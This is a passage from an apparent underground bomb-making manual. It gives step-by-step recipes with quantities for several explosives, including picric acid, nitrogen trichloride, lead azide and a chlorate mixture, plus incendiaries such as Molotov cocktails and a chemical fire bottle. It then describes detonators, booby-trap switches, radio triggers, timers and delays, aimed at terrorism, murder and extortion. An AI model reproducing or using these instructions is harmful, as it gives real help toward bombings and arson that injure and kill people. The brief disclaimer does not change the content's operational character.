a tremendous shockwave through the ammonium nitrate, detonating it.
3.33
ANFOS
ANFO is an acronym for Ammonium Nitrate - Fuel Oil Solution. An
ANFO
solves the only other major problem with ammonium nitrate: its tendency
to pick
up water vapor from the air. This results in the explosive failing to
detonate
when such an attempt is made. This is rectified by mixing 94% (by
weight)
ammonium nitrate with 6% fuel oil, or kerosene. The kerosene keeps the
ammonium
nitrate from absorbing moisture from the air. An ANFO also requires a
large
shockwave to set it off.
3.34
T.N.T.
T.N.T., or Tri-Nitro-Toluene, is perhaps the second oldest known
high
explosive. Dynamite, of course, was the first. It is certainly the
best known
high explosive, since it has been popularized by early morning
cartoons. It is
the standard for comparing other explosives to, since it is the most
well known.
In industry, a T.N.T. is made by a three step nitration process that is
designed
to conserve the nitric and sulfuric acids which are used to make the
product. A
terrorist, however, would probably opt for the less economical one-step
method.
The one step process is performed by treating toluene with very strong
(fuming)
sulfuric acid. Then, the sulfated toluene is treated with very strong
(fuming)
nitric acid in an ice bath. Cold water is added the solution, and it
is
filtered.
3.35
POTASSIUM CHLORATE
Potassium chlorate itself cannot be made in the home, but it can
be
obtained from labs. If potassium chlorate is mixed with a small amount
of
vaseline, or other petroleum jelly, and a shockwave is passed through
it, the
material will detonate with slightly more power than black powder. It
must,
however, be confined to detonate it in this manner. The procedure for
making
such an explosive is outlined below:
MATERIALS
_________
potassium chlorate
(9 parts, by volume)
petroleum jelly
(vaseline)
(1 part, by volume)
EQUIPMENT
_________
zip-lock plastic bag
clay grinding bowl
or
wooden bowl and wooden spoon
1) Grind the potassium chlorate in the grinding bowl carefully and
slowly,
until the potassium chlorate is a very fine powder. The finer that
it is
powdered, the faster (better) it will detonate.
2) Place the powder into the plastic bag. Put the petroleum jelly
into the
plastic bag, getting as little on the sides of the bag as possible,
i.e.
put the vaseline on the potassium chlorate powder.
3) Close the bag, and kneed the materials together until none of the
potassium
chlorate is dry powder that does not stick to the main glob. If
necessary,
add a bit more petroleum jelly to the bag.
4) The material must me used within 24 hours, or the mixture will
react to
greatly reduce the effectiveness of the explosive. This reaction,
however,
is harmless, and releases no heat or dangerous products.
3.36
DYNAMITE
The name dynamite comes from the Greek word "dynamis", meaning
power.
Dynamite was invented by Nobel shortly after he made nitroglycerine.
It was
made because nitroglycerine was so dangerously sensitive to shock. A
misguided
individual with some sanity would, after making nitroglycerine (an
insane act)
would immediately convert it to dynamite. This can be done by adding
various
materials to the nitroglycerine, such as sawdust. The sawdust holds a
large
weight of nitroglycerine per volume. Other materials, such as ammonium
nitrate
could be added, and they would tend to desensitize the explosive, and
increase
the power. But even these nitroglycerine compounds are not really
safe.
3.37
NITROSTARCH EXPLOSIVES
Nitrostarch explosives are simple to make, and are fairly
powerful. All
that need be done is treat various starches with a mixture of
concentrated nitric
and sulfuric acids. 10 ml of concentrated sulfuric acid is added to 10
ml of
concentrated nitric acid. To this mixture is added 0.5 grams of
starch. Cold
water is added, and the apparently unchanged nitrostarch is filtered
out.
Nitrostarch explosives are of slightly lower power than T.N.T., but
they are
more readily detonated.
3.38
PICRIC ACID
Picric acid, also known as Tri-Nitro-Phenol, or T.N.P., is a
military
explosive that is most often used as a booster charge to set off
another less
sensitive explosive, such as T.N.T. It another explosive that is
fairly simple
to make, assuming that one can acquire the concentrated sulfuric and
nitric
acids. Its procedure for manufacture is given in many college
chemistry lab
manuals, and is easy to follow. The main problem with picric acid is
its
tendency to form dangerously sensitive and unstable picrate salts, such
as
potassium picrate. For this reason, it is usually made into a safer
form, such
as ammonium picrate, also called explosive D. A social deviant would
probably
use a formula similar to the one presented here to make picric acid.
MATERIALS
_________
EQUIPMENT
_________
phenol (9.5 g)
500 ml flask
concentrated
sulfuric acid (12.5 ml)
concentrated nitric
acid (38 ml)
distilled water
adjustable heat source
1000 ml beaker
or other container
suitable for boiling in
filter paper
and funnel
glass stirring rod
1) Place 9.5 grams of phenol into the 500 ml flask, and carefully add
12.5
ml of concentrated sulfuric acid and stir the mixture.
2) Put 400 ml of tap water into the 1000 ml beaker or boiling container
and
bring the water to a gentle boil.
3) After warming the 500 ml flask under hot tap water, place it in the
boiling
water, and continue to stir the mixture of phenol and acid for about
thirty
minutes. After thirty minutes, take the flask out, and allow it to
cool for
about five minutes.
4) Pour out the boiling water used above, and after allowing the
container to
cool, use it to create an ice bath, similar to the one used in
section 3.13,
steps 3-4. Place the 500 ml flask with the mixed acid an phenol in
the ice
bath. Add 38 ml of concentrated nitric acid in small amounts,
stirring the
mixture constantly. A vigorous but "harmless" reaction should
occur. When
the mixture stops reacting vigorously, take the flask out of the ice
bath.
5) Warm the ice bath container, if it is glass, and then begin boiling
more tap
water. Place the flask containing the mixture in the boiling water,
and heat
it in the boiling water for 1.5 to 2 hours.
6) Add 100 ml of cold distilled water to the solution, and chill it in
an ice
bath until it is cold.
7) Filter out the yellowish-white picric acid crystals by pouring the
solution
through the filter paper in the funnel. Collect the liquid and
dispose of it
in a safe place, since it is corrosive.
8) Wash out the 500 ml flask with distilled water, and put the contents
of the
filter paper in the flask. Add 300 ml of water, and shake
vigorously.
9) Re-filter the crystals, and allow them to dry.
10) Store the crystals in a safe place in a glass container, since they
will
react with metal containers to produce picrates that could explode
spontaneously.
3.39
AMMONIUM PICRATE
Ammonium picrate, also called Explosive D, is another safety
explosive.
It requires a substantial shock to cause it to detonate, slightly less
than that
required to detonate ammonium nitrate. It is much safer than picric
acid, since
it has little tendency to form hazardous unstable salts when placed in
metal
containers. It is simple to make from picric acid and clear household
ammonia.
All that need be done is put the picric acid crystals into a glass
container and
dissolve them in a great quantity of hot water. Add clear household
ammonia in
excess, and allow the excess ammonia to evaporate. The powder
remaining should
be ammonium picrate.
3.40
NITROGEN TRICHLORIDE
Nitrogen trichloride, also known as chloride of azode, is an oily
yellow
liquid. It explodes violently when it is heated above 60 degrees
celsius, or
when it comes in contact with an open flame or spark. It is fairly
simple to
produce.
1) In a beaker, dissolve about 5 teaspoons of ammonium nitrate in
water.
Do not put so much ammonium nitrate into the solution that some of
it
remains undissolved in the bottom of the beaker.
2) Collect a quantity of chlorine gas in a second beaker by mixing
hydrochloric
acid with potassium permanganate in a large flask with a stopper
and glass
pipe.
3) Place the beaker containing the chlorine gas upside down on top of
the
beaker containing the ammonium nitrate solution, and tape the
beakers
together. Gently heat the bottom beaker. When this is done, oily
yellow
droplets will begin to form on the surface of the solution, and
sink down
to the bottom. At this time, remove the heat source immediately.
Alternately, the chlorine can be bubbled through the ammonium
nitrate
solution, rather than collecting the gas in a beaker, but this
requires
timing and a stand to hold the beaker and test tube.
The chlorine gas can also be mixed with anhydrous ammonia gas, by
gently
heating a flask filled with clear household ammonia. Place the
glass tubes
from the chlorine-generating flask and the tube from the ammoniagenerating
flask in another flask that contains water.
4) Collect the yellow droplets with an eyedropper, and use them
immediately,
since nitrogen trichloride decomposes in 24 hours.
3.41
LEAD AZIDE
Lead Azide is a material that is often used as a booster charge
for
other explosive, but it does well enough on its own as a fairly
sensitive
explosive. It does not detonate too easily by percussion or impact,
but it
is easily detonated by heat from an igniter wire, or a blasting cap.
It is
simple to produce, assuming that the necessary chemicals can be
procured.
By dissolving sodium azide and lead acetate in water in separate
beakers, the two materials are put into an aqueous state. Mix the two
beakers
together, and apply a gentle heat. Add an excess of the lead acetate
solution, until no reaction occurs, and the precipitate on the bottom
of the
beaker stops forming. Filter off the solution, and wash the
precipitate in
hot water. The precipitate is lead azide, and it must be stored wet
for safety.
If lead acetate cannot be found, simply acquire acetic acid, and
put
lead metal in it. Black powder bullets work well for this purpose.
3.5
OTHER "EXPLOSIVES"
The remaining section covers the other types of materials that can
be used to destroy property by fire. Although none of the materials
presented
here are explosives, they still produce explosive-style results.
3.51
THERMIT
Thermit is a fuel-oxodizer mixture that is used to generate
tremendous
amounts of heat. It was not presented in section 3.23 because it does
not react
nearly as readily. It is a mixture of iron oxide and aluminum, both
finely
powdered. When it is ignited, the aluminum burns, and extracts the
oxygen from
the iron oxide. This is really two very exothermic reactions that
produce a
combined temperature of about 2200 degrees C. This is half the heat
produced by
an atomic weapon. It is difficult to ignite, however, but when it is
ignited,
it is one of the most effective firestarters around.
MATERIALS
_________
powdered aluminum (10 g)
powdered iron oxide (10 g)
1) There is no special procedure or equipment required to make thermit.
Simply
mix the two powders together, and try to make the mixture as
homogenous as
possible. The ratio of iron oxide to aluminum is 50% / 50% by
weight, and
be made in greater or lesser amounts.
2) Ignition of thermite can be accomplished by adding a small amount of
potassium chlorate to the thermit, and pouring a few drops of
sulfuric acid
on it. This method and others will be discussed later in section
4.33. The
other method of igniting thermit is with a magnesium strip.
Finally, by
using common sparkler-type fireworks placed in the thermit, the
mixture
can be ignited.
3.52
MOLOTOV COCKTAILS
First used by Russians against German tanks, the Molotov cocktail
is now
exclusively used by terrorists worldwide. They are extremely simple to
make, and
can produce devastating results. By taking any highly flammable
material, such
as gasoline, diesel fuel, kerosene, ethyl or methyl alcohol, lighter
fluid,
turpentine, or any mixture of the above, and putting it into a large
glass
bottle, anyone can make an effective firebomb. After putting the
flammable
liquid in the bottle, simply put a piece of cloth that is soaked in the
liquid
in the top of the bottle so that it fits tightly. Then, wrap some of
the cloth
around the neck and tie it, but be sure to leave a few inches of lose
cloth to
light. Light the exposed cloth, and throw the bottle. If the burning
cloth
does not go out, and if the bottle breaks on impact, the contents of
the bottle
will spatter over a large area near the site of impact, and burst into
flame.
Flammable mixtures such as kerosene and motor oil should be mixed with
a more
volatile and flammable liquid, such as gasoline, to insure ignition. A
mixture
such as tar or grease and gasoline will stick to the surface that it
strikes,
and burn hotter, and be more difficult to extinguish. A mixture such
as this
must be shaken well before it is lit and thrown
3.53
CHEMICAL FIRE BOTTLE
The chemical fire bottle is really an advanced molotov cocktail.
Rather
than using the burning cloth to ignite the flammable liquid, which has
at best
a fair chance of igniting the liquid, the chemical fire bottle utilizes
the very
hot and violent reaction between sulfuric acid and potassium chlorate.
When the
container breaks, the sulfuric acid in the mixture of gasoline sprays
onto the
paper soaked in potassium chlorate and sugar. The paper, when struck
by the
acid, instantly bursts into a white flame, igniting the gasoline. The
chance
of failure to ignite the gasoline is less than 2%, and can be reduced
to 0%, if
there is enough potassium chlorate and sugar to spare.
MATERIALS
_________
potassium chlorate
(2 teaspoons)
sugar (2 teaspoons)
EQUIPMENT
_________
glass bottle
(12 oz.)
cap for bottle,
with plastic inside
concentrated
sulfuric acid (4 oz.)
gasoline (8 oz.)
cooking pan with raised
edges
paper towels
glass or plastic cup
and spoon
1) Test the cap of the bottle with a few drops of sulfuric acid to make
sure
that the acid will not eat away the bottle cap during storage. If
the
acid eats through it in 24 hours, a new top must be found and
tested, until
a cap that the acid does not eat through is found. A glass top is
excellent.
2) Carefully pour 8 oz. of gasoline into the glass bottle.
3) Carefully pour 4 oz. of concentrated sulfuric acid into the glass
bottle.
Wipe up any spills of acid on the sides of the bottle, and screw the
cap on
the bottle. Wash the bottle's outside with plenty of water. Set it
aside
to dry.
4) Put about two teaspoons of potassium chlorate and about two
teaspoons of
sugar into the glass or plastic cup. Add about 1/2 cup of boiling
water,
or enough to dissolve all of the potassium chlorate and sugar.
5) Place a sheet of paper towel in the cooking pan with raised edges.
Fold
the paper towel in half, and pour the solution of dissolved
potassium
chlorate and sugar on it until it is thoroughly wet. Allow the
towel to
dry.
6) When it is dry, put some glue on the outside of the glass bottle
containing
the gasoline and sulfuric acid mixture. Wrap the paper towel around
the
bottle, making sure that it sticks to it in all places. Store the
bottle
in a place where it will not be broken or tipped over.
7) When finished, the solution in the bottle should appear as two
distinct
liquids, a dark brownish-red solution on the bottom, and a clear
solution
on top. The two solutions will not mix. To use the chemical fire
bottle,
simply throw it at any hard surface.
8) NEVER OPEN THE BOTTLE, SINCE SOME SULFURIC ACID MIGHT BE ON THE CAP,
WHICH
COULD TRICKLE DOWN THE SIDE OF THE BOTTLE AND IGNITE THE POTASSIUM
CHLORATE,
CAUSING A FIRE AND/OR EXPLOSION.
9) To test the device, tear a small piece of the paper towel off the
bottle,
and put a few drops of sulfuric acid on it. The paper towel should
immediately burst into a white flame.
3.54
BOTTLED GAS EXPLOSIVES
Bottled gas, such as butane for refilling lighters, propane for
propane
stoves or for bunsen burners, can be used to produce a powerful
explosion. To
make such a device, all that a simple-minded anarchist would have to do
would be
to take his container of bottled gas and place it above a can of Sterno
or other
gelatinized fuel, and light the fuel and run. Depending on the fuel
used, and
on the thickness of the fuel container, the liquid gas will boil and
expand to
the point of bursting the container in about five minutes. In theory,
the gas
would immediately be ignited by the burning gelatinized fuel, producing
a large
fireball and explosion. Unfortunately, the bursting of the bottled gas
container
often puts out the fuel, thus preventing the expanding gas from
igniting. By
using a metal bucket half filled with gasoline, however, the chances of
ignition
are better, since the gasoline is less likely to be extinguished.
Placing the
canister of bottled gas on a bed of burning charcoal soaked in gasoline
would
probably be the most effective way of securing ignition of the
expanding gas,
since although the bursting of the gas container may blow out the flame
of the
gasoline, the burning charcoal should immediately re-ignite it.
Nitrous oxide,
hydrogen, propane, acetylene, or any other flammable gas will do
nicely.
4.0
USING EXPLOSIVES
Once a terrorist has made his explosives, the next logical step is
to
apply them. Explosives have a wide range of uses, from harassment, to
vandalism,
to murder. NONE OF THE IDEAS PRESENTED HERE ARE EVER TO BE CARRIED
OUT, EITHER
IN PART OR IN FULL! DOING SO CAN LEAD TO PROSECUTION, FINES, AND
IMPRISONMENT!
The first step that a person that would use explosive would take
would
be to determine how big an explosive device would be needed to do
whatever had to
be done. Then, he would have to decide what to make his bomb with. He
would
also have to decide on how he wanted to detonate the device, and
determine where
the best placement for it would be. Then, it would be necessary to see
if the
device could be put where he wanted it without it being discovered or
moved.
Finally, he would actually have to sit down and build his explosive
device.
These are some of the topics covered in the next section.
4.1
SAFETY
There is no such thing as a "safe" explosive device.
speak
in terms of relative safety, or less unsafe.
4.2
IGNITION DEVICES
One can only
There are many ways to ignite explosive devices. There is the
classic
"light the fuse, throw the bomb, and run" approach, and there are
sensitive
mercury switches, and many things in between. Generally, electrical
detonation
systems are safer than fuses, but there are times when fuses are more
appropriate than electrical systems; it is difficult to carry an
electrical
detonation system into a stadium, for instance, without being caught.
A device
with a fuse or impact detonating fuse would be easier to hide.
4.21
FUSE IGNITION
The oldest form of explosive ignition, fuses are perhaps the
favorite
type of simple ignition system. By simply placing a piece of
waterproof fuse in
a device, one can have almost guaranteed ignition. Modern waterproof
fuse is
extremely reliable, burning at a rate of about 2.5 seconds to the inch.
It is
available as model rocketry fuse in most hobby shops, and costs about
$3.00 for
a nine-foot length. Fuse is a popular ignition system for pipe bombers
because
of its simplicity. All that need be done is light it with a match or
lighter.
Of course, if the Army had fuses like this, then the grenade,
which uses
fuse ignition, would be very impracticle. If a grenade ignition system
can be
acquired, by all means, it is the most effective. But, since such
things do not
just float around, the next best thing is to prepare a fuse system
which does
not require the use of a match or lighter, but still retains its
simplicity.
One such method is described below:
MATERIALS
_________
strike-on-cover type matches
electrical tape or duct tape
waterproof fuse
1) To determine the burn rate of a particular type of fuse, simply
measure a
6 inch or longer piece of fuse and ignite it. With a stopwatch,
press the
start button the at the instant when the fuse lights, and stop the
watch when
the fuse reaches its end. Divide the time of burn by the length of
fuse, and
you have the burn rate of the fuse, in seconds per inch. This will
be shown
below:
Suppose an eight inch piece of fuse is burned, and its complete
time
of combustion is 20 seconds.
20 seconds
__________
8 inches
= 2.5 seconds per inch.
If a delay of 10 seconds was desired with this fuse, divide the
desired
time by the number of seconds per inch:
10 seconds
___________________ = 4 inches
2.5 seconds / inch
NOTE: THE LENGTH OF FUSE HERE MEANS LENGTH OF FUSE TO THE POWDER. SOME
FUSE,
AT LEAST AN INCH, SHOULD BE INSIDE THE DEVICE. ALWAYS ADD THIS
EXTRA
INCH, AND PUT THIS EXTRA INCH AN INCH INTO THE DEVICE!!!
2) After deciding how long a delay is desired before the explosive
device is
to go off, add about 1/2 an inch to the premeasured amount of fuse,
and
cut it off.
3) Carefully remove the cardboard matches from the paper match case.
Do not
pull off individual matches; keep all the matches attached to the
cardboard
base. Take one of the cardboard match sections, and leave the other
one
to make a second igniter.
4) Wrap the matches around the end of the fuse, with the heads of the
matches
touching the very end of the fuse. Tape them there securely, making
sure not
to put tape over the match heads. Make sure they are very secure by
pulling
on them at the base of the assembly. They should not be able to
move.
5) Wrap the cover of the matches around the matches attached to the
fuse, making
sure that the striker paper is below the match heads and the striker
faces
the match heads. Tape the paper so that is fairly tight around the
matches.
Do not tape the cover of the striker to the fuse or to the matches.
Leave
enough of the match book to pull on for ignition.
.PA
_____________________
\
/
\
/ ------ match book cover
\
/
|
M|f|M ---|------- match head
|
A|u|A
|
|
T|s|T
|
|
C|e|C
|
|tapeH|f|Htape|
|
|u|
|
|#####|s|#####|-------- striking paper
|#####|e|#####|
\
|f|
/
\
|u|
/
\
|s|
/
\ |e| /
|ta|f|pe|
|ta|u|pe|
|s|
|e|
|f|
|u|
|s|
|e|
The match book is wrapped around the matches, and is taped to
itself.
The matches are taped to the fuse. The striker will rub against
the
matcheads when the match book is pulled.
6) When ready to use, simply pull on the match paper. It should pull
the
striking paper across the match heads with enough friction to light
them.
In turn, the burning matcheads will light the fuse, since it
adjacent to the
burning match heads.
4.22
IMPACT IGNITION
Impact ignition is an excellent method of ignition for spontaneous
terrorist activities. The problem with an impact-detonating device is
that it
must be kept in a very safe container so that it will not explode while
being
transported to the place where it is to be used. This can be done by
having a
removable impact initiator.
The best and most reliable impact initiator is one that uses
factory
made initiators or primers. A no. 11 cap for black powder firearms is
one such
primer. They usually come in boxes of 100, and cost about $2.50. To
use such
a cap, however, one needs a nipple that it will fit on. Black powder
nipples
are also available in gun stores. All that a person has to do is ask
for a
package of nipples and the caps that fit them. Nipples have a hole
that goes
all the way through them, and they have a threaded end, and an end to
put the
cap on.
A cutaway of a nipple is shown below:
________________
|
|
_
v
|
| |
|
________| |^^^^^^^^|
|
|
___________|
|
|
|
|
no. 11
|_______|
|
percussion
_______
| ------- threads for
screwing
cap here
|
|
|
nipple onto bomb
|
|__________|
|
|_______
|
|
| |^^^^^^^^|
|
|_|
|
^
|
|
|
|________________|
When making using this type of initiator, a hole must be drilled
into
whatever container is used to make the bomb out of. The nipple is then
screwed
into the hole so that it fits tightly. Then, the cap can be carried
and placed
on the bomb when it is to be thrown. The cap should be bent a small
amount
before it is placed on the nipple, to make sure that it stays in place.
The
only other problem involved with an impact detonating bomb is that it
must
strike a hard surface on the nipple to set it off. By attaching fins
or a small
parachute on the end of the bomb opposite the primer, the bomb, when
thrown,
should strike the ground on the primer, and explode. Of course, a bomb
with
mercury fulminate in each end will go off on impact regardless of which
end it
strikes on, but mercury fulminate is also likely to go off if the
person
carrying the bomb is bumped hard.
4.23
ELECTRICAL IGNITION
Electrical ignition systems for detonation are usually the safest
and
most reliable form of ignition. Electrical systems are ideal for
demolition
work, if one doesn't have to worry so much about being caught. With
two spools
of 500 ft of wire and a car battery, one can detonate explosives from a
"safe",
comfortable distance, and be sure that there is nobody around that
could get
hurt. With an electrical system, one can control exactly what time a
device
will explode, within fractions of a second. Detonation can be aborted
in less
than a second's warning, if a person suddenly walks by the detonation
sight, or
if a police car chooses to roll by at the time. The two best
electrical igniters
are military squibs and model rocketry igniters. Blasting caps for
construction
also work well. Model rocketry igniters are sold in packages of six,
and cost
about $1.00 per pack. All that need be done to use them is connect it
to two
wires and run a current through them. Military squibs are difficult to
get,
but they are a little bit better, since they explode when a current is
run
through them, whereas rocketry igniters only burst into flame.
Military squibs
can be used to set off sensitive high explosives, such as R.D.X., or
potassium
chlorate mixed with petroleum jelly. Igniters can be used to set off
black
powder, mercury fulminate, or guncotton, which in turn, can set of a
high order
explosive.
4.24
ELECTRO-MECHANICAL IGNITION
Electro-mechanical ignition systems are systems that use some type
of
mechanical switch to set off an explosive charge electrically. This
type of
switch is typically used in booby traps or other devices in which the
person
who places the bomb does not wish to be anywhere near the device when
it
explodes. Several types of electro-mechanical detonators will be
discussed
4.241
Mercury Switches
Mercury switches are a switch that uses the fact that mercury
metal
conducts electricity, as do all metals, but mercury metal is a liquid
at room
temperatures. A typical mercury switch is a sealed glass tube with two
electrodes and a bead of mercury metal. It is sealed because of
mercury's nasty
habit of giving off brain-damaging vapors. The diagram below may help
to
explain a mercury switch.
______________
A /
\
_______wire +______/__+
\
( Hg ) |
/
\ _(_Hg_)__|____/
|
|
wire |
|
|
B
-
\
When the drop of mercury ("Hg" is mercury's atomic symbol) touches
both
contacts, current flows through the switch. If this particular switch
was in
its present position, A---B, current would be flowing, since the
mercury can
touch both contacts in the horizontal position.
B
If, however, it was in the
|
would only
touch the + contact on the A side.
position, the drop of mercury
A
Current, then could not flow, since the mercury does not reach both
contacts
when the switch is in the verticle position.
This type of switch is ideal to place by a door. If it were
placed in
the path of a swinging door in the verticle position, the motion of the
door
would knock the switch down, if it was held to the ground by a piece if
tape.
This would tilt the switch into the verticle position, causing the
mercury to
touch both contacts, allowing current to flow through the mercury, and
to the
igniter or squib in an explosive device. Imagine opening a door and
having it
slammed in your face by an explosion.
4.242
Tripwire Switches
A tripwire is an element of the classic booby trap. By placing a
nearly
invisible line of string or fishing line in the probable path of a
victim, and
by putting some type of trap there also, nasty things can be caused to
occur.
If this mode of thought is applied to explosives, how would one use
such a
tripwire to detonate a bomb. The technique is simple. By wrapping the
tips of
a standard clothespin with aluminum foil, and placing something between
them,
and connecting wires to each aluminum foil contact, an electric
tripwire can
be made, If a piece of wood attached to the tripwire was placed
between the
contacts on the clothespin, the clothespin would serve as a switch.
When the
tripwire was pulled, the clothespin would snap together, allowing
current to
flow between the two pieces of aluminum foil, thereby completing a
circuit, which
would have the igniter or squib in it. Current would flow between the
contacts
to the igniter or squib, heat the igniter or squib, causing it to
explode.
__________________________________
\_foil___________________________/
(0) --------------------------spring
insert strip of ------- _foil_____\_____________________
wood with trip/___________\____________________\
wire between foil
contacts
Make sure that the aluminum foil contacts do not touch the spring,
since
the spring also conducts electricity.
4.243
Radio Control Detonators
In the movies, every terrorist or criminal uses a radio controlled
detonator to set off explosives. With a good radio detonator, one can
be
several miles away from the device, and still control exactly when it
explodes,
in much the same way as an electrical switch. The problem with radio
detonators
is that they are rather costly. However, there could possibly be a
reason that
a terrorist would wish to spend the amounts of money involved with a RC
(radio
control) system and use it as a detonator. If such an individual
wanted to
devise an RC detonator, all he would need to do is visit the local
hobby store
or toy store, and buy a radio controlled toy. Taking it back to
his/her abode,
all that he/she would have to do is detach the solenoid/motor that
controls the
motion of the front wheels of a RC car, or detach the solenoid/motor of
the
elevators/rudder of a RC plane, or the rudder of a RC boat, and reconnect the
squib or rocket engine igniter to the contacts for the solenoid/motor.
The
device should be tested several times with squibs or igniters, and
fully
charged batteries should be in both he controller and the receiver (the
part
that used to move parts before the device became a detonator).
4.3
DELAYS
A delay is a device which causes time to pass from when a device
is
set up to the time that it explodes. A regular fuse is a delay, but it
would
cost quite a bit to have a 24 hour delay with a fuse. This section
deals with
the different types of delays that can be employed by a terrorist who
wishes to
be sure that his bomb will go off, but wants to be out of the country
when it
does.
4.31
FUSE DELAYS
It is extremely simple to delay explosive devices that employ
fuses for
ignition. Perhaps the simplest way to do so is with a cigarette. An
average
cigarette burns for about 8 minutes. The higher the "tar" and nicotine
rating,
the slower the cigarette burns. Low "tar" and nicotine cigarettes burn
quicker
than the higher "tar" and nicotine cigarettes, but they are also less
likely to
go out if left unattended, i.e. not smoked. Depending on the wind or
draft in
a given place, a high "tar" cigarette is better for delaying the
ignition of a
fuse, but there must be enough wind or draft to give the cigarette
enough oxygen
to burn. People who use cigarettes for the purpose of delaying fuses
will often
test the cigarettes that they plan to use in advance to make sure they
stay lit,
and to see how long it will burn. Once a cigarettes burn rate is
determined, it
is a simple matter of carefully putting a hole all the way through a
cigarette
with a toothpick at the point desired, and pushing the fuse for a
device in the
hole formed.
.PA
|=|
| | ---------| |
|_|
| |
|o| ---------cigarette -----------|
| |
| |
| |
| |
| |
| |
| |
| |
|_| ----------
filter
hole for fuse
|
light this end
A similar type of device can be make from powdered charcoal and a
sheet
of paper. Simply roll the sheet of paper into a thin tube, and fill it
with
powdered charcoal. Punch a hole in it at the desired location, and
insert a
fuse. Both ends must be glued closed, and one end of the delay must be
doused
with lighter fluid before it is lit. Or, a small charge of gunpowder
mixed with
powdered charcoal could conceivably used for igniting such a delay. A
chain of
charcoal briquettes can be used to delay a fuse by merely lining up a
few bricks
of charcoal so that they touch each other, end on end, and lighting the
first
brick. Incense, which can be purchased at almost any novelty or party
supply
store, can also be used as a fairly reliable delay. By wrapping the
fuse about
the end of an incense stick, delays of up to 1/2 an hour are possible.
Finally, it is possible to make a relatively slow-burning fuse in the
home. By
dissolving about one teaspoon of black powder in about 1/4 a cup of
boiling
water, and, while it is still hot, soaking in it a long piece of all
cotton
string, a slow-burning fuse can be made. After the soaked string
dries, it
must then be tied to the fuse of an explosive device. Sometimes, the
end of the
slow burning fuse that meets the normal fuse has a charge of black
powder or
gunpowder at the intersection point to insure ignition, since the slowburning
fuse does not burn at a very high temperature. A similar type of slow
fuse can
be made by taking the above mixture of boiling water and black powder
and pouring
it on a long piece of toilet paper. The wet toilet paper is then
gently twisted
up so that it resembles a firecracker fuse, and is allowed to dry.
4.32
TIMER DELAYS
Timer delays, or "time bombs" are usually employed by an
individual who
wishes to threaten a place with a bomb and demand money to reveal its
location
and means to disarm it. Such a device could be placed in any populated
place
if it were concealed properly. There are several ways to build a timer
delay.
By simply using a screw as one contact at the time that detonation is
desired,
and using the hour hand of a clock as the other contact, a simple timer
can be
made. The minute hand of a clock should be removed, unless a delay of
less than
an hour is desired.
___________________________________
to igniter
from igniter
|
|
|
|
|
|
|
|
|
|
|
|
|
12
11
|
1
|
10
9
8
^
|
:
2
|
.................|......:
:
|
o
3
|
|
|
|
|
|
4
|
V
o..........|......
:
:
:
:
:
v
:
:
:
:
:
:
:
|
7
5
|
:
:
|
6
|
:.........+
|_________________________________|
__|_____|____
|
|
| battery |
o -contacts
|
|
..... -wire
|
|
|___________|
This device is set to go off in eleven hours. When the hour hand
of the
clock reaches the contact near the numeral 5, it will complete the
circuit,
allowing current to flow through the igniter or squib.
The main disadvantage with this type of timer is that it can only
be set
for a maximum time of 12 hours. If an electronic timer is used, such
as that in
an electronic clock, then delays of up to 24 hours are possible. By
removing
the speaker from an electronic clock, and attaching the wires of a
squib or
igniter to them, a timer with a delay of up to 24 hours can be made.
To utilize
this type of timer, one must have a socket that the clock can be
plugged into.
All that one has to do is set the alarm time of the clock to the
desired time,
connect the leads, and go away. This could also be done with an
electronic
watch, if a larger battery were used, and the current to the speaker of
the
watch was stepped up via a transformer. This would be good, since such
a timer
could be extremely small. The timer in a VCR (Video Cassette Recorder)
would
be ideal. VCR's can usually be set for times of up to a week. The
leads from
the timer to the recording equipment would be the ones that an igniter
or squib
would be connected to. Also, one can buy timers from electronics
stores that
would be ideal. Finally, one could employ a digital watch, and use a
relay, or
electro-magnetic switch to fire the igniter, and the current of the
watch would
not have to be stepped up.
4.33
CHEMICAL DELAYS
Chemical delays are uncommon, but they can be extremely effective
in
some cases. If a glass container is filled with concentrated sulfuric
acid,
and capped with several thicknesses of aluminum foil, or a cap that it
will eat
through, then it can be used as a delay. Sulfuric acid will react with
aluminum
foil to produce aluminum sulfate and hydrogen gas, and so the container
must be
open to the air on one end so that the pressure of the hydrogen gas
that is
forming does not break the container.
|
|
|
|
|
|
|_______________|
|
|
|sulfuric
|
|
|
|
|acid
| |
|
|
| |---------- aluminum foil
|
|_______ _______| |
(several thicknesses)
|___________________|
The aluminum foil is placed over the bottom of the container and
secured
there with tape. When the acid eats through the aluminum foil, it can
be used
to ignite an explosive device in several ways.
1) Sulfuric acid is a good conductor of electricity.
If the acid
that
eats through the foil is collected in a glass container placed
underneath the foil, and two wires are placed in the glass
container,
a current will be able to flow through the acid when both of
the
wires are immersed in the acid.
2) Sulfuric acid reacts very violently with potassium chlorate.
If
the acid drips down into a container containing potassium
chlorate,
the potassium chlorate will burst into flame. This flame can
be
used to ignite a fuse, or the potassium chlorate can be the
igniter
for a thermit bomb, if some potassium chlorate is mixed in a
50/50
ratio with the thermit, and this mixture is used as an igniter
for
the rest of the thermit.
3) Sulfuric acid reacts with potassium permangenate in a similar
way.
4.4
EXPLOSIVE CONTAINERS
This section will cover everything from making a simple
firecracker to
a complicated scheme for detonating an insensitive high explosive, both
of which
are methods that could be utilized by perpetrators of terror.
4.41
PAPER CONTAINERS
Paper was the first container ever used for explosives, since it
was
first used by the Chinese to make fireworks. Paper containers are
usually very
simple to make, and are certainly the cheapest. There are many
possible uses
for paper in containing explosives, and the two most obvious are in
firecrackers
and rocket engines. Simply by rolling up a long sheet of paper, and
gluing it
together, one can make a simple rocket engine. Perhaps a more
interesting and
dangerous use is in the firecracker. The firecracker shown here is one
of
Mexican design. It is called a "polumna", meaning "dove". The process
of their
manufacture is not unlike that of making a paper football. If one
takes a sheet
of paper about 16 inches in length by 1.5 inches wide, and fold one
corner so
that it looks like this:
_______________________________________________________
|
|\
|
| \
|
| \
|_____________________________________________________|___\
and then fold it again so that it looks like this:
______________________________________________________
|
/|
|
/ |
|
/ |
|________________________________________________/___|
A pocket is formed. This pocket can be filled with black powder,
pyrodex,
flash powder, gunpowder,rocket engine powder, or any of the quickburning fueloxodizer mixtures that occur in the form of a fine powder. A fuse is
then
inserted, and one continues the triangular folds, being careful not to
spill
out any of the explosive. When the polumna is finished, it should be
taped
together very tightly, since this will increase the strength of the
container,
and produce a louder and more powerful explosion when it is lit. The
finished
polumna should look like a 1/4 inch - 1/3 inch thick triangle, like the
one
shown below:
^
/ \
----- securely tape all corners
\
/
\
/
\
/
\
/
\____________________________
/_____________\__/__/__/__/__/__/__/__/__/
/
4.42
---------- fuse
METAL CONTAINERS
